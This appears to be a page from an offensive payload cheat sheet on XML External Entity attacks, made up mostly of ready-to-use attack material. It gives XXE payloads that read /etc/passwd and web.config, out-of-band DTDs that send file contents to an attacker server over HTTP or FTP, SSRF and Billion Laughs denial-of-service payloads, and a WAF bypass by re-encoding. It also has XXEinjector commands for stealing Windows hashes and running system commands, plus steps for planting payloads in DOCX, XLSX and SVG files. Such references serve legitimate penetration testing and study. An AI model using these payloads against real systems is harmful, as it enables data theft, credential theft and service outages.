Skip to content

XML External Entity

An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.

Internal Entity: If an entity is declared within a DTD it is called as internal entity.
Syntax: <!ENTITY entity_name "entity_value">

External Entity: If an entity is declared outside a DTD it is called as external entity. Identified by SYSTEM.
Syntax: <!ENTITY entity_name SYSTEM "entity_value">



  • xxeftp - A mini webserver with FTP support for XXE payloads
    sudo ./xxeftp -uno 443
    ./xxeftp -w -wps 5555
  • 230-OOB - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via
    $ python3 2121
  • XXEinjector - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods
    # Enumerating /etc directory in HTTPS application:
    ruby XXEinjector.rb --host= --path=/etc --file=/tmp/req.txt --ssl
    # Enumerating /etc directory using gopher for OOB method:
    ruby XXEinjector.rb --host= --path=/etc --file=/tmp/req.txt --oob=gopher
    # Second order exploitation:
    ruby XXEinjector.rb --host= --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
    # Bruteforcing files using HTTP out of band method and netdoc protocol:
    ruby XXEinjector.rb --host= --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
    # Enumerating using direct exploitation:
    ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
    # Enumerating unfiltered ports:
    ruby XXEinjector.rb --host= --file=/tmp/req.txt --enumports=all
    # Stealing Windows hashes:
    ruby XXEinjector.rb --host= --file=/tmp/req.txt --hashes
    # Uploading files using Java jar:
    ruby XXEinjector.rb --host= --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
    # Executing system commands using PHP expect:
    ruby XXEinjector.rb --host= --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
    # Testing for XSLT injection:
    ruby XXEinjector.rb --host= --file=/tmp/req.txt --xslt
    # Log requests only:
    ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
  • oxml_xxe - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF)
    ruby server.rb
  • docem - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc
    ./ -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_document -kt -sx docx
    ./ -s samples/xxe/sample_oxml_xxe_mod1.docx -pm xxe -pf payloads/xxe_special_2.txt -kt -pt per_place
    ./ -s samples/xss_sample_0.odt -pm xss -pf payloads/xss_tiny.txt -pm per_place
    ./ -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_file -kt -sx docx
  • otori - Toolbox intended to allow useful exploitation of XXE vulnerabilities.
    python ./ --clone --module "G-XXE-Basic" --singleuri "file:///etc/passwd" --module-options "TEMPLATEFILE" "TARGETURL" "BASE64ENCODE" "DOCTYPE" "XMLTAG" --outputbase "./output-generic-solr" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs 


Detect the vulnerability

Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName and "Doe" in lastName. Entities are defined inside the DOCTYPE element.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>

It might help to set the Content-Type: application/xml in the request when sending XML payload to the server.

Exploiting XXE to retrieve files

Classic XXE

We try to display the content of the file /etc/passwd

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

⚠ SYSTEM and PUBLIC are almost synonym.

<!ENTITY % xxe PUBLIC "Random Text" "URL">

Classic XXE Base64 encoded

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

PHP Wrapper inside XXE

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <address>42 rue du CTF</address>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=" >

XInclude attacks

When you can't modify the DOCTYPE element use the XInclude to target

<foo xmlns:xi="">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Exploiting XXE to perform SSRF attacks

XXE can be combined with the SSRF vulnerability to target another service on the network.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >

Exploiting XXE to perform a deny of service

⚠ : These attacks might kill the service or the server, do not use them on the production.

Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">

Yaml attack

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Parameters Laugh attack

A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping.

  <!ENTITY % pe_1 "<!---->">
  <!ENTITY % pe_2 "&#37;pe_1;<!---->&#37;pe_1;">
  <!ENTITY % pe_3 "&#37;pe_2;<!---->&#37;pe_2;">
  <!ENTITY % pe_4 "&#37;pe_3;<!---->&#37;pe_3;">

Exploiting Error Based XXE

Error Based - Using Local DTD File

Short list of dtd files already stored on Linux systems; list them with locate .dtd:


The file /usr/share/xml/fontconfig/fonts.dtd has an injectable entity %constant at line 148: <!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>

The final payload becomes:

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % constant 'aaa)>
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;>">
            <!ELEMENT aa (bb'>

Error Based - Using Remote DTD

Payload to trigger the XXE

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "">

Content of ext.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">

Let's break down the payload:

  1. <!ENTITY % file SYSTEM "file:///etc/passwd"> This line defines an external entity named file that references the content of the file /etc/passwd (a Unix-like system file containing user account details).
  2. <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> This line defines an entity eval that holds another entity definition. This other entity (error) is meant to reference a nonexistent file and append the content of the file entity (the /etc/passwd content) to the end of the file path. The &#x25; is a URL-encoded '%' used to reference an entity inside an entity definition.
  3. %eval; This line uses the eval entity, which causes the entity error to be defined.
  4. %error; Finally, this line uses the error entity, which attempts to access a nonexistent file with a path that includes the content of /etc/passwd. Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of /etc/passwd would be disclosed as part of the error message, revealing sensitive information.

Exploiting blind XXE to exfiltrate data out-of-band

Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.

Basic Blind XXE

The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM ""> %ext;

Send the content of /etc/passwd to "", you may receive only the first line.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM ";">

XXE OOB Attack (Yunusov, 2013)

<?xml version="1.0" encoding="utf-8"?>

File stored on
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM ';'>">

XXE OOB with DTD and PHP filter

<?xml version="1.0" ?>
<!ENTITY % sp SYSTEM "">

File stored on
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ';'>">

XXE OOB with Apache Karaf

CVE-2018-11788 affecting versions:

  • Apache Karaf <= 4.2.1
  • Apache Karaf <= 4.1.6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM ""> %dtd;]
<features name="my-features" xmlns="" xmlns:xsi=""
    <feature name="deployer" version="2.0" install="auto">

Send the XML file to the deploy folder.

Ref. brianwrf/CVE-2018-11788

XXE with local DTD

In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this:

<!DOCTYPE root [<!ENTITY test SYSTEM ''>]>

If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.

<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///abcxyz/">


Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message.

<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

    <!ENTITY % ISOamsa '
        <!ENTITY &#x25; file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">


Cisco WebEx

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>

Citrix XenMobile Server

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
Other payloads using different DTDs

WAF Bypasses

Bypass via character encoding

XML parsers uses 4 methods to detect encoding: * HTTP Content Type: Content-Type: text/xml; charset=utf-8 * Reading Byte Order Mark (BOM) * Reading first symbols of document * UTF-8 (3C 3F 78 6D) * UTF-16BE (00 3C 00 3F) * UTF-16LE (3C 00 3F 00) * XML declaration: <?xml version="1.0" encoding="UTF-8"?>

Encoding BOM Example
UTF-8 EF BB BF EF BB BF 3C 3F 78 6D 6C ...<?xml
UTF-16BE FE FF FE FF 00 3C 00 3F 00 78 00 6D 00 6C ...<.?.x.m.l
UTF-16LE FF FE FF FE 3C 00 3F 00 78 00 6D 00 6C 00 ..<.?.x.m.l.

Example: We can convert the payload to UTF-16 using iconv to bypass some WAF:

cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml

XXE in Java

Unsecure configuration in 10 different Java classes from three XML processing interfaces (DOM, SAX, StAX) that can lead to XXE:

XXE Java security features overview infographics


XXE in exotic files

XXE inside SVG

<svg xmlns="" xmlns:xlink="" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls" width="200" height="200"></image>


<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="" xmlns:xlink="" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>

OOB via SVG rasterization


<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY % sp SYSTEM "">
<svg viewBox="0 0 200 200" version="1.2" xmlns="" style="fill:red">
      <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
      <flowRoot font-size="15">
           <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>


<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM ';'>">

XXE inside SOAP

    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>

XXE inside DOCX file

Format of an Open XML file (inject the payload in any .xml file):

  • /_rels/.rels
  • [Content_Types].xml
  • Default Main Document Part
  • /word/document.xml
  • /ppt/presentation.xml
  • /xl/workbook.xml

Then update the file zip -u xxe.docx [Content_Types].xml

Tool :

PDF (experimental)
JPG (experimental)
GIF (experimental)

XXE inside XLSX file

Structure of the XLSX:

$ 7z l xxe.xlsx
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2021-10-17 15:19:00 .....          578          223  _rels/.rels
2021-10-17 15:19:00 .....          887          508  xl/workbook.xml
2021-10-17 15:19:00 .....         4451          643  xl/styles.xml
2021-10-17 15:19:00 .....         2042          899  xl/worksheets/sheet1.xml
2021-10-17 15:19:00 .....          549          210  xl/_rels/workbook.xml.rels
2021-10-17 15:19:00 .....          201          160  xl/sharedStrings.xml
2021-10-17 15:19:00 .....          731          352  docProps/core.xml
2021-10-17 15:19:00 .....          410          246  docProps/app.xml
2021-10-17 15:19:00 .....         1367          345  [Content_Types].xml
------------------- ----- ------------ ------------  ------------------------
2021-10-17 15:19:00              11216         3586  9 files

Extract Excel file: 7z x -oXXE xxe.xlsx

Rebuild Excel file:

$ cd XXE
$ 7z u ../xxe.xlsx *

Add your blind XXE payload inside xl/workbook.xml.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<workbook xmlns="" xmlns:r="">

Alternativly, add your payload in xl/sharedStrings.xml:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<sst xmlns="" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>

Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Instead we build the document once and then change the DTD. And using FTP instead of HTTP allows to retrieve much larger files.


<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>"> 

Serve DTD and receive FTP payload using xxeserv:

$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000

XXE inside DTD file

Most XXE payloads detailed above require control over both the DTD or DOCTYPE block as well as the xml file. In rare situations, you may only control the DTD file and won't be able to modify the xml file. For example, a MITM. When all you control is the DTD file, and you do not control the xml file, XXE may still be possible with this payload.

<!-- Load the contents of a sensitive file into a variable -->
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!-- Use that variable to construct an HTTP get request with the file contents in the URL -->
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM ";">'>

Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents


Disclose local file

<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "file://D:\webserv2\services\web.config">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://t/#&#x25;file;&#x27;>">
      <!ENTITY test "test"'

Disclose HTTP Response:

<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
      <!ENTITY test "test"'